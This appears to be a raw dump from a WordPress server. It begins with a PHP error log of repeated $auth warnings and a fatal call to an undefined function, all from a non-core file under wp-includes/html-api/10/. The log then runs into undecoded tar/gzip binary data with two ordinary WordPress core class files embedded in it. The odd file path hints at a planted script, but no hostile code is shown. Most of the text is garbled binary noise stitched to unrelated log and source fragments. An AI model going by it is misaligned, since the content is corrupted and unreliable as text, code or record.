[15-Feb-2026 05:22:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:22:29 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:29 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:22:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:23:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:23:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:23:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:24:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 05:24:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:24:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:24:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:24:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:24:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:25:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:25:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:25:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:25:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:26:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:26:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:26:35 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 05:26:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:26:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 05:26:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:26:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:26:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[15-Feb-2026 05:26:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 05:26:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKYO\_���%10/class-wp-http-proxy.php.php.tar.gznu�[�����X[s�6�+N��R�ʤd+�׉�U.;�L�xlw�Lڕ!1&	��u�{�HJ�-�v��C��D���~8�2�A�T��A^b�&�$�Y��A�0��q'6&�ϕ|?��8���V�Q��r���><�}�}���������^��O�V�
S(������m�|yy���'pu6��3
5��#�|���9\I�)n�;]���?z~����`��L*�xB�yF�H�<3�`Q��s��_J��9�et��rf4]nR�K��Z�
L�D|$2�1䐲���p��9��H�	�0	Gf$�gl�?��D�DK`0��e�*��I1�F�2���AA��H*��@�H,	@�����ʬ��3�!��;V2K�����oeF����ЕJ��R�
�2M{�#�?����o+J$B�Snbih�"��ix}�ë��謜g��ƨLe���BɌ�3���'
M9�'D�X&O쿉x�X:;����o..a^�p/�,B��)�.d��Р��9,q:{sN�:�k2�ᵤ��"1mH�S��5<�xq����E���2��6��9P5]�N���՛��35�|3���o��u���I���d��;퐍IyR�ƒBib%�ql)]�&oe�$�A��;��UA"C��`PT�ƉhHh�SC�n"�)LH'b��&cyDB�E[�X
u,�$���4�@#��4ϙb�餡�(d*��AV�Y�կ���������T�R�g.
.����vh1�9��"�+��r�iy
${m�<�G�q��v��7�t�s��D7g��c��O&~���j/Z���̛���V� ��!�&y����&�u����ct'�:�����A�rB9�[�(E�U&W��q�����w���)>H��9WFp�˶�#�z����՚-duc��L7�1>*B>���6�&J�b�L�_���&߇�,��v)��5}ôzSqS(D��	m�[��Q��e����v����J��Z��N؅o�Yuj����+ܴPm>���<��Qe���BeMK>�J�
�+�[v�97J`.�3�-Gu�ì�n��?�,����Èyi
V�֦�;����1�o��=o�Au}��Tv�At|?���n�r-��a���7�5V$��Z�n|V#+!���嬍bI��F.f*��g�vSF١̷�d.�>x'�-Of�ZgP�q8Q�!'�i�g+�~)��Y�x�4�!��8���$�2���%-��㸔�ilRV+�¼�j�غޑUMke�No�$�p���Xi�]�K<�dVw�����h��RC#W��F�d�ж�fnv�Dbg
�}v�"3-sפ�o"3�,:ןo�25�i��B	k��0+o�Kղ���7�5|�Z�衛��z`)[N��0��
�brPX��TǏ�]�b	:(ž�n�^FV!���¸F"�hH9h��18��9Xd�	#5]�aX8���B�B3�U�:���'���cn2����6a9�	�����d�Jl}y��7mm���b��Q3�ڭ�v�N)U�.<U��
��d9&����Ȋ�;w��׋y�J��	m�m�7�Нe�#��+�{B
�ʭ2~�y	f\-v�����Z�2�Z�P`�a�q2!�Ȉ½!�1&��v��ʱ����:�˻���<���J�D׀&������ضk�.h�*R�u���D���X���y�{��ӛ{U�<����!�@,��Y�������	45x���hL�K\��2�"�q����d�ƣ9�j>(>��)
��̇�ֈ�Rvs��x��D�k����z�c��[�K/N
>�MR4"�Vӷ�ۛ�zk��[[�g9����8� mj>���a̬>��	��{?��	����k!
o9>x�ɒ�}X����E�}�}�G�Y�����N <���&(�R�Y��D��e�L/Q���hA��p���ΥW�M��]rv|���w����/��ڴ��}PKYO\�A�)10/class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKYO\�:��44 10/class-wp-block.php.php.tar.gznu�[�����=ks�F��U�cERY�r.vr'��8�f�l�r��������(Y���_��Hɛ��Q�	������ �j�O��:+�'��e�ϓe�*Nn��y9/6�nN�E�4��䲨�o���O��y?�?z}o~��џ>}��G��ѣO?��~��_���A�?��Mk@������/_�f�|�ɾ�D}��ۨg�/N���	��h��-�j��ߦWZ�\��y���A������!�}�o�=ǩ��k��6/�T��i��L�%0�Ux�re���k]�u�ު���[u��m�_nZ���^?+����2]��s����>������@_�U^����A[Z�6�J�M(�)4-��\�5O�?O����C���'�ҕ����պ��`^�f�Wu�^�@�+ʫ��MQtnh1�]k\��y�ºo�v�ڥ��k����@ꠤ5%���x^��~ת����C8j ����D@��i^���D3��k�o�6U-s]��|y{/�u��9���"H���q��W9lQ�
r5y%��x>���	�4/K]�\5jLK�ՠ��A8���"��	v"���~��MԪ�.���Z��
e*�4�{�Z�&d��Wy��F���hU]�r $��N�t:�o���/�����@�N���*�
����0��Rt�haѣQ��<֛^��`Qe��8�UZ��U�,u��ݹ�'�jSf�%2o�R#G��TgO��k��_<C�&�`�1����Nd#�:�I��v��	�d�F���x
�]�;��D=�@%՛y[�NΫ���ը��8jm�=��wxv
��ɂ��I�
n�w���k]��

(H�ʲjU��`��:/nե��MU(_���mt��oZ���5i۴�a�F��G�FԏP�3* ��?p��F��,8�j��P3�f,�T�,�|��e>_��I_.�M�����8:�u�,X��5M�Q��.u�.�����Q2(3�
�J6��Æ&x�ȴR�Jk�`cݾ�
]�~��g,ES���N�㈚�p���W�\��
-d��oݽi�jȉi�ϬG�B<�1�B�#%>\�(L�7���c�Z��~�)p7��
�N��k�˪�]E?z$�}��;ۉݫ~.z�wRʌ�]$���\����㴜ߘd��g�J�r��pZv�)���&Ho�X$v�՝�x�ϘsGx�q�����-87׾/�<Џy�zd���
j��|�Ơ�D0�P	�=��8�NO�t�ŋdo���xO��Y��O�Ss@���#@��}�>	HZ@��4��L�u�����=��:#cG^���x��	(ᨚ�ع�n�U�6�E1Q9J��-��:���aC/�F�Y	�c��̯�9z^,�9˴�o���u6��nD���p���Ѱ"u���ַ��̌��D��̝��xF�@2���.S�pt3�[Ұ=�|��l�"�q��ܟ(��w]_	mjv�C�X�5�]i�.��n�):k�/�5`=O7
(��o�:Cu�\�EN���AP��d/�7��!ۿ�8*�e9�Z����`@}�D@Ӆ��}��	[��hԙ-J�~�.*tC@��(�}ZW �HF�0���d��%������޸�yc�9��@�պ�����9~
����:�(����Q1���.b��I�o�4W3O��H���7�;�ޠz���� �ߗ��(Aߒ�U��!>L-�h�����\�5��� X��!G��@g0�.��tZO?����m��?)�4U/Z����5�f|]�
8`D.aXU�l��mu�\
xrY����.\��T��3���J�1�.
V��r�酙ٮՄW+Z��̫��]Rk�[�����+#�����D�P�S^�<�{��s_�˼�|�`���ح=���;�[UHo^O�@���fT-�x�\\0�i�/��;�u�&�(�R�b�wJ���B���.�	H�s�u2�*x���ɕ�Ү�F*Q� ^�}����W��8��˥%�t�~�ྃd���E�O̩8��Z؉��x�j����|�j2�D9�����"� �N,E���J��WG�� Z�Φ�[�3���=���L���1�o2GrL� �tv���(dJޫsC
�%�"����	�s�Z���B^ǃތ���F�H���#���V��SE)��/�=�">蔆xi@+�.>�ElN��h�*BbV��%�8!��_�c��1�� {0eR��^��Ÿy��f7.	^{D�"��[6��T�z�WS���U~�d�����3�@O�ז
��+��v[t{�13Z�	��Cn�1���+m���jf�]Cb� �G3>�pzs0�j	�L[	( Fcj��;��S�R���j�/���k�v��=����@T$E�'�ʺ*$����U�Z�Vp���>�H����A�~`�8}���ËV_�-.��*�ܯSh6����Mn�9�HN�|�C�?��m���P�=>5�J`�1>���ҚA�pp8���i�U��u�H����6u�;�h�0���o� p2؞��3�P*E:�El�����,����
��#�f=�9����Ř�O��P!'��H�V��5��A������i��JD�/�'���N7�֛60U��i#N��=�hb�N�'8cT8岈=�r�;:G�|�|���?�sЁ�a���"��I���f�^Wukc���aj��5�x7r��%?qrFqY��rԺľ�;�z&��qDUZ�o�1@��f�#
�d�R��8F-�N�A�k\�-�8R����z�GF�wC�&<��)~��/�8�mvii˚�{b�
�̠�qner���;�z*o靴7�B[��k�\I���2������*\+o���t��cK�8�;�8���I<�n$�����:�dy�@�e�8��&��M�T
̻���~QS{��*�O:ɿ-r��@�g�0:z��˪<�QI)��p�������Bw	�=�ۨ#�ҿ�:�ǜڞ�Z�q
��uR��'���yo=�dz���iϺ�.'g�U��:��G��,*L��`��b�Yj�G�/1���NZ��k���x1�r���=��W.��I��G |d��YwL�����M;�nwI�)3i�G���ͽ��𑙨��1"���h'CLlYI���BL����;Qn�Ϫ@�����o:�>�,	�\�� zb@	V�1�[�>�2>�sƕ
9��
&AFR�1�CE�@tw�������߿��|��zЍ`(�Z\��?����Q_�:�=U��C�I�r:
A+�6N����~�MlB�z��
������-�K�2
O��,��J1����`��ЀW�g����*�p
V���97�1l)����Nc9H�H�$��x���;�Ö��У�2�V�; �����&UlW���E�jw����]�CCM�q����Nz��
'#��'�F��[�-f��[��'\no�ĄԔ݆q����е��

���/�D�dT�����]���1j<~h8J�%�!�p�OǤ	�U=�J��\���o^���]���?"L���Vb�rᖲ���68[��_L
�����%&Ư����4)d�KiXȤډ�o �&&7܍?��4G���~,(֠�I����b���\�5�J�W�_A=�+6����+n%��?E/((b���7������n�Y^��69����KZyn	aW�H*�ˉZ� ��X� {'�zp�Q6竵-��CZ�$ �����
qG<���?#xC[�ι%N�K<�{V�����u$=97'��8�� ���ۓ1�m\��qVB�k ־{�f�>�C����u�=0LVFl�j2��&�#mƿW��'��z�C�/q`@;�fϨQo��2zuX�W�V^�D�oSlVH�.����fE�"(���hp�)g�kE#� 5$�̢�I�Მ�[��Eu?K�6�M�l�����@�!��6)��s�w4x�̫�n�jq�L��!�.��MH����>���(��/����O�/^�J~���'y����Yӟ#Q�'&���Ӟx��@�D[C$�R��k��I��E��Zr!�gL�4m�^�'������K�Ceޚ�/���-�|`	��V����9��2W
q��䒌�
*�P����5�(�B�N��:��	�M�G��?�5�%� ���1��{)�Ts�fz
l��(��m��[k���NJo C�q�)H�D��`�y/�u� x.Z�k������Y��A�ꆚ��V�)��:2E&��.(��'G��C�6ܺr�K�7��j���6��J�w�n�c�n'Y�Wou9��}���)�evT���A�p{�ିkw����#�����W�, a(d�~��A?J���7]K��=�m�b'y��l�c>��m�`5���O<�3C���ub2�f���
��6�pb[!��o�|ܯ��z�T/&�\�%(9`�9���7~H��ժ���Ê��4^��^l1���o��<��7D�d��=|�lM-��
b�$I��<S��4֛��^�R`w|p	(L/�����{����e��*a$1���\��K]�g��I3��5*�jC�b�gIJ��Ǎ\��y��+Z~kt�P�3M!�c06�m:���ـ�ߌ�����'�$�-�œ�͖Yɪ�6�7˼�ɨ�h��S����o6p�V��j
���
�ɢ��-��;2���S-(m��Q��
#����a��|���T�+o���ҩx��Hr⍳���L�-��[�&��/줼���j�t��$G�.֩-��{A��|D�x����1BE�f�OQy�{,r�2�� 1��<���m�7@�vL�ҎI�Q"��������a��q��я5$�Ӽ)6Iv���,ڈ�m*�$�mk��?�ҝ��(�aqm
N[���J#%����Z�D#S����X�F�{9�H$�t���tݡ2�\�Zq:�4��v�u�`	x)�D���#Ն��r�S5z��+d�ir���1�����;��s��3��AL>����94Ҧ:'�	�ٌP���~������5�Î�w��!{Y��aK;����m�uV���{
W3=�1��i&��^D��Z	ͦrw�)�D�'�%�� �Ԭ���
�k9��\�Y/�-"p����{����u��j�k��~����>��t#rw��	��ζis����M01�j�;�|o�����O�=c�}^n����6�eXo	����J�u��g�-���dm>;-�L�n{����M,5y�RDt�,��s�k*5怯�6��+���I�i�����+�b��%��Xwx:۲�Ƹw�"h�$�1ۉt�
MƼ?|�;)r�w��̚2v[�N��U���H�Wlc@Z�"u݈ٳ��r�v��h���n߮;��"�P����Fg]�δ�ޤ�ٜ��4yeu0λ����/�l`��@&��
��Q{߉�#7'}6R�ѽ�g���s#Ûuۯ`Jt���yvP�r��3����#+\�`~���m_�&������L���|+����81��ه,Û�]�}5�3�.��)��s43&A����m!9lJ^�M�!�'E�f�i'H�3ִ:Rm!��L���z�1�M�i,��A�8���������^, h���Uy�KcDqˍ$.5J��z�F�;��E~Y���H�Ժ�;�`�'��)�ZZ�K�:Å��|שD�?��,:�ޓ���"�|q� �#S� ߑ����v�M~������
K��%�|�C�!���|�F�K4Yf�}?R�S]�~�;�fS�{a�l␺t�}��ع��L��kp ��M�	��m��h��h�~�n!��@�)=�K�XȎʌnϰ� �;��hG�-��/�
���� ��~�28�>@Tح��T���Jw<��E�E^��3Ɍc�H]����@wW�v�p�`v'�M�_���B�镏���Lh�!jM��U�[l�X�9V�*����q�{VTd�
*�����倝@�Z�slaH�_60J�ٺJ�-r��󁗱љ@6�%���s���Q����X1I�_��o,pϞ���:ڴ©1u�,`�u=�.L�X&�*�ۯJ��`"�?��%{Vx����]���M�w�KQ�a��i���\�a�߭�"�v}&`�t�ZG���U:8�Ii�{���XE�|;"���Є��@\}p��<#�xI���ox���j�K�����u�B2<uX�E���qD�q��w^���>P[7��@¢;ۅ�]���Y����\���d@P��F2ҴnŊ� �B�a	�5��C�Z���<�j:��#}�:|�����y��ign�G��k눘���{�ƈ��u���M�Id�5
L��I���u��`��8v�&��wD�{�iEc�������&�u'n���vi��;���x�2�~�~������kᏟ?~�����������hPKYO\=^ڠ10/class-wp-html-span.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-span.php000064400000002113151442222520021704 0ustar00<?php
/**
 * HTML API: WP_HTML_Span class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor to represent a textual span
 * inside an HTML document.
 *
 * This is a two-tuple in disguise, used to avoid the memory overhead
 * involved in using an array for the same purpose.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely align with `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Span {
	/**
	 * Byte offset into document where span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of this span.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int $start  Byte offset into document where replacement span begins.
	 * @param int $length Byte length of span.
	 */
	public function __construct( int $start, int $length ) {
		$this->start  = $start;
		$this->length = $length;
	}
}
PKYO\�Ov���10/10.tar.gznu�[�����	�+YU0����#(���2�I�dO�ݯ�M�;ݝޗ�ޣ_%�$՝T��*�N�<Dd�TqdQ6d�P@EPDQD�@���s�U�*�t�73���?�y�T�{�۹g��VP���r���'N>}}���ɾD�@�����x/y��z����������l�&�m�_���S߼�4s�M���&I�n�)3;�F�|�������~᩿<� �h��LHw���=�F~o)������r���w�&��j�;�$=잧�?���_W����L���O��
���S���W��ۏ{�=o��w�ջ_�ۻ�_�w�o�돺��w���_��W�~������F�yo<u��~���ew�����ݿ�x����")�����{�P���ĕG�!����y����{���Aҭ�o*Ʌ⅋d��|S�6ievE�V+�T�5����/�n�A�XLZ1��lȖ�k��7��bYjU��$�V�JwP
����7tx���3�)���"����+P�"k%��
Cnv-u�OA!�
�O� �pk�U���5��}~o-���^�^
����ċ�\���h�Gq~�����G�\��c�/��c�|�#E���ʪ���+�ǂtDje�ث��I7h���^^���U�Ɍ�G�=�@�7�==-���助`�fiO���G%2I�b�y�W�)TP�r�b����BQ2����R��
y
��i��ǚ'ѾQ�~�T�"K����VTK�o�>�3(u�|SW�*({� ��F3(��cka	^jJc�H��q��(���,�
��g�'��H�t_-�rPF�[����g�H��nV�[�Z-��@���+US�m�6q�X�����Y)%E�%K�+�M�K��Š&�*
�DF���Qޛ������@����JY7����N�kr�V�.��ɦ�Ѝ}�</��K1���l*A���7=x��R�����b����d*� *�~a�uCكj������7���%ˢ������L�ԢK�l���T�r&P�]���T�
Y[m�m3Y&[L����&�(����T�׈����˼�����w��xK�%Jh	)��ǥۤ�r�*_
䦹_uC=���	J].d)�6)z�QdF8Z�	��R)g�
2&��v��̭�J�L���6�k������^jr2���[H-�l�f�@�IY�I�tt~�U��.ZM�
�`���������U$�JΗ%�[I6%���9Z�`�t��ap�ˌ�e�=��32F����C�!���������k�/�C��&�E��ǞI5%�}U&�tJRipϮ����E�):"��凄eȚY�w�Mź�G����}�R�-�T����
��'�mxt	KB��b�
M�By܋�<����bA���&��aJ�V�S�$�	A6�#����}^�3��>Ȍ�Eɐ !q�^��y�j�)D��B]�	jP�P���9��@D�? [t18K*��R*��T�s䰎�5��`غhŞ2%�_RZlɵ@�/�l@���j_�p��"�׵�����V��#5Ũ��6�R�2�(_b6�y>ʸ��"<"����y8C(�C{q�T����U�U�Oa�G���!�����bѭ�����)�@J�!5�9���	O��V:r��)�zE6ܠ"�@
8�\�&�i �5%O�'7�\'�}�>�)�I��:K:��.`�44�E�	_�&�	����TSk�XMf��4�����YQ��A�#%��IV*:��&�.�)H�"�,a����Ѳ���탲��k�D�A�3m��v�!ڛC��:�����$��7�!���7}�{���B�V��ޛx�:z���M�!ju�
/�{CJ�Ze�T$���$ǵňh��*a0��ǯLX���*<�;�DZ#PG�c�8��|i��$�r_���2P
��&B+A��v
p�f~��R�A� ye&�|	V��v��p��A?�݀��=�-<�}0�j󾐙f� (E�|Aأ�Gr���
KC=�3V&o�c�Ԡ���� O`jn���y�cR='6r\OG��t6�!�H7�nn����)87��.1j3 �S��m��w��=�>�|DN�y�0���P9VM��)�UV�bt&u�"�wdJ5k��B�#�lYd��(�5��o ���QT����6k
V���9�ݼ�
0~��z:9��^�\={��ڙR̼��h�Q���=[T�v���^P��U�`\p�P�ǥ�++u��݃
'�L����Z�B�Z�)U�p+F�.�"��^S4VX
��2 �}����-���R�e]*��`jai���w��jE��_!B�f�E�Mi���I9a�b���
�F������+�!B	2��ƥ�x���[Ҵ^�
���S���-٪�#��=���5>��W@�� ��J�$2�}Ĵ_���d��pkڢ
}�#1�
�y*RB4J�W7�0��'����#״�%S�L,}������c�&��o�rfmt>��)�n�[<���l<sV�g���D6��ڑ����Y���Z����H�G^Ղ�"�pG�67��>��{�<��#�=n�n��`?��B����ؘp�ѕ���@p��N��w��X��z�.vQr�D�<����<�״2�DZr����8����9DK��Er��p�:
e�ntN]�9/��
��E9|'�~�=M����L"G@ ���ѿ�i�<?	�~��FbO�s�e�
�
���z�_׋(��|�PHpΟG[W�o�k`�\�>��a�u2��&@!�Ͳأ±.�y�^c�kg�����
N
jʡ��H����zδ�hX��%¨3
,Dװ�g����.��zKW1髀���{p���)�z5C)�B�/㳰X��qp�/�
��dG�5��FX�E�|5�2u�B̸"�^��kJU7%�
�����8^�-�"5�g��|�����dH�Q�w8=�����,�
�8�H�%i6�u��-�R
